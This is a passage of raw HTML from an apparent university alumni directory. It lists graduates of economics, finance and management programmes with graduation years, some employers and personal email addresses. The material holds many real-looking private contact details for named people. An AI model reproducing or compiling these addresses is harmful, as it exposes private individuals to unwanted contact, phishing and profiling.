margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:nigar.huseynzadeh@gmail.com\">nigar.huseynzadeh@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat&nbsp;Rahimov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:nicat_rehimov@yahoo.com.tr\">nicat_rehimov@yahoo.com.tr</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Gurbanzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Nigarqurbanzade@mail.ru\">Nigarqurbanzade@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar İsmayilova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İnternational Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:ismailovanigar91@gmail.com\">ismailovanigar91@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ismailovanigar91@gmail.com\"></a>MBA 2016 (Honor)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Musayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Nigar27.06@gmail.com\">Nigar27.06@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Piriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:piriyeva.94@mail.ru\">piriyeva.94@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Humbatova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance/BBA &amp; General MBA&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Leading Accountant Specialist / &nbsp;Azersun Holding&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:narmingumbatova@gmail.com\">narmingumbatova@gmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Samadova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance E-mail:&nbsp;<a href=\"mailto:nergiz_semedova@yahoo.com\">nergiz_semedova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nisa Asgarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:nisa.askerli@gmail.com\">nisa.askerli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"O\" style=\"font-weight:bold\"><strong>O</strong></h3><p><strong><span style=\"font-size:medium\">Orkhan Miriyev</span> <o:p></o:p></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:orxan1996m@gmail.com\">orkhan1996m[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Orkhan Rzayev</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:orkhanrza@gmail.com\">orkhanrza[at]gmail.com</a></p>  <p><strong><br></strong></p><p><strong>Orkhan Eyvazov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:orhan1994@inbox.ru\">orhan1994@inbokh.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:orhan1994@inbox.ru\"></a>AzTrustService MMC.&nbsp;Assistant of General Director for international relations.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Orxan Shukurov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:orkhanshukin@yahoo.com\">orkhanshukin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Orxan Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:mammadovof@hotmail.com\">mammadovof@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3 id=\"P\" style=\"font-weight:bold\"><strong>P</strong></h3><p><strong><span style=\"font-size:medium\">Panah Amashov</span> </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:panah.amashov@inbox.ru\">panah.amashov[at]inbokh.ru</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media9982979582309981\" width=\"150\" height=\"100\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size: medium; line-height: 115%;\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media9982979582309981\" width=\"150\" height=\"100\">Piri\r\nNovruzlu</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:p.f.novruzlu@gmail.com\">p.f.novruzlu[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Parviz Rustamov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:prustemli@gmail.com\">prustemli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Parviz Shamilli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics 2017</p>\r\n<p>E-mail: <a href=\"mailto:shamilli2015@mail.ru\">shamilli2015[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Parvin Mammadova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Project Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:memmedova_pervin@yahoo.com\">memmedova_pervin[at]yahoo.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Parviz&nbsp;Aghayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">IBRD, Specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:agayevp@gmail.com\">agayevp@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"R\" style=\"font-weight:bold\"><strong>R</strong></h3><p><strong><span style=\"font-size:medium\">Ruslan Ismayilov</span> <o:p></o:p></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ismailov.ruslan93@gmail.com\">ismailov.ruslan93[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Rahila Ahmadova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Finance,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:rehile.ehmedova9505@gmail.com\">rehile.ehmedova9505[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong>&nbsp;<strong>&nbsp;</strong></p>\r\n<p><strong>Rashad Sharifli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:rashad.sharifli@mail.ru\">rashad.sharifli[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Ruslan Suleymanli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ruslan.suleymanli@gmail.com\">ruslan.suleymanli[at]gmail.com</a></p>\r\n<p>Neftchala District Executive Authority&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil&nbsp;Badalov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:ramil_badalov@yahoo.com\">ramil_badalov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rana Hajiyeva &nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:renamagnum@yahoo.com\">renamagnum@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Roya Amiraslanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Roya.amiraslanova@mail.ru\">Roya.amiraslanova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rufat Malikov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rufat.melikov1995@gmail.com\">rufat.melikov1995@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Royal Jamalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016 (Honor)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Royal Rasulov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Royal.resulov.94@mail.ru\">Royal.resulov.94@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruslan Gurbanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:piriyeva.94@mail.ru\">piriyeva.94@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:piriyeva.94@mail.ru\"></a>Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rauf Huseynov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:huseynov167@gmail.com\">huseynov167@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rashad Mammadzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resad.mamedzade@gmail.com\">resad.mamedzade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rashid Ahmadli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resid-ehmedli@bk.ru\">resid-ehmedli@bk.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rashid Salimbayli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resid.selimbeyli@gmail.com\">resid.selimbeyli@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:resid.selimbeyli@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rauf Kazimov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rauf-kazimov@mail.ru\">rauf-kazimov@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:rauf-kazimov@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rashad Aliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Rashad.a777@hotmail.com\">Rashad.a777@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Rashad.a777@hotmail.com\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rana Mammadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rena.mamedova@barmek.az\">rena.mamedova@barmek.az</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:rena.mamedova@barmek.az\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rafig Novruzov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:rafiq_nov@hotmail.com\">rafiq_nov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil Ahmadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:A.Ramil88@gmail.com\">A.Ramil88@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruslan Ramazanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sudur-ruslan@mail.ru\">sudur-ruslan@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil Rzayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AFB Bank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ramil_rzayev@hotmail.com\">ramil_rzayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramin Nasirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:RAMIN.NASIROV@yahoo.com\">RAMIN.NASIROV@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramin Orujov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:orucovramin@yahoo.com\">orucovramin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rasim Allahverdiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ernst&amp;Young, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"https://yandex.ru/\">eridan12yandex.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rashad Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rashad_babayev85@mail.ru\">rashad_babayev85@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"S\" style=\"font-weight:bold\"><strong>S</strong></h3><p><strong><span style=\"font-size:medium\">Suray Mammadova</span> <o:p></o:p></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Marketing, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mamedovasuray@gmail.com\">mamedovasuray[at]gmail.com</a></p>  